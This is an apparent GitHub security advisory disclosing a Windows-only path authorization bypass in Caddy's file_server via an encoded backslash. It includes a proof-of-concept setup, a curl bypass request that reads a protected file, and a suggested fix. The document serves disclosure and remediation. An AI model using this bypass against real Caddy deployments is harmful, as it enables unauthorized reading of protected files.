Caddy: Windows `file_server` path authorization bypass via encoded backslash

### Summary On Windows, Caddy `path` matchers treat `/private\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\secret.txt` on disk. An unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`. ### Details The mismatch is between two Caddy code paths: - `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`. - If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`. - `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`. - On Windows, Go filesystem path handling treats `\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`. This is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD. ### PoC Tested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository. On Windows, create the test files and Caddyfile: ```powershell $base = "C:\Users\Public\caddy-backslash-poc" Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force "$base\www\private" | Out-Null Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII @' { debug admin off auto_https off } :19080 { log root * C:\Users\Public\caddy-backslash-poc\www @private path /private/* respond @private 403 file_server } '@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII ``` Start Caddy: ```powershell cd C:\Users\Public\caddy-backslash-poc .\caddy.exe run --config Caddyfile --adapter caddyfile ``` Baseline request, expected to be blocked: ```bash curl -v --path-as-is http://<windows-host>:19080/private/secret.txt ``` Observed: ```text > GET /private/secret.txt HTTP/1.1 < HTTP/1.1 403 Forbidden ``` Bypass request: ```bash curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt' ``` Observed: ```text > GET /private%5csecret.txt HTTP/1.1 < HTTP/1.1 200 OK < Content-Length: 23 SECRET_FROM_WINDOWS_LAB ``` Uppercase `%5C` produces the same result. Relevant debug log lines: ```json {"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"} {"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403} {"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200} ``` ### Impact This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`. This pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`. An attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets. ### Suggested Fix Normalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\` before `file_server` resolves them as filesystem separators. The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path. ### AI Disclosure LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.

Source published

16 Jun 2026 21:28:11 UTC

Source modified

24 Jul 2026 19:11:20 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH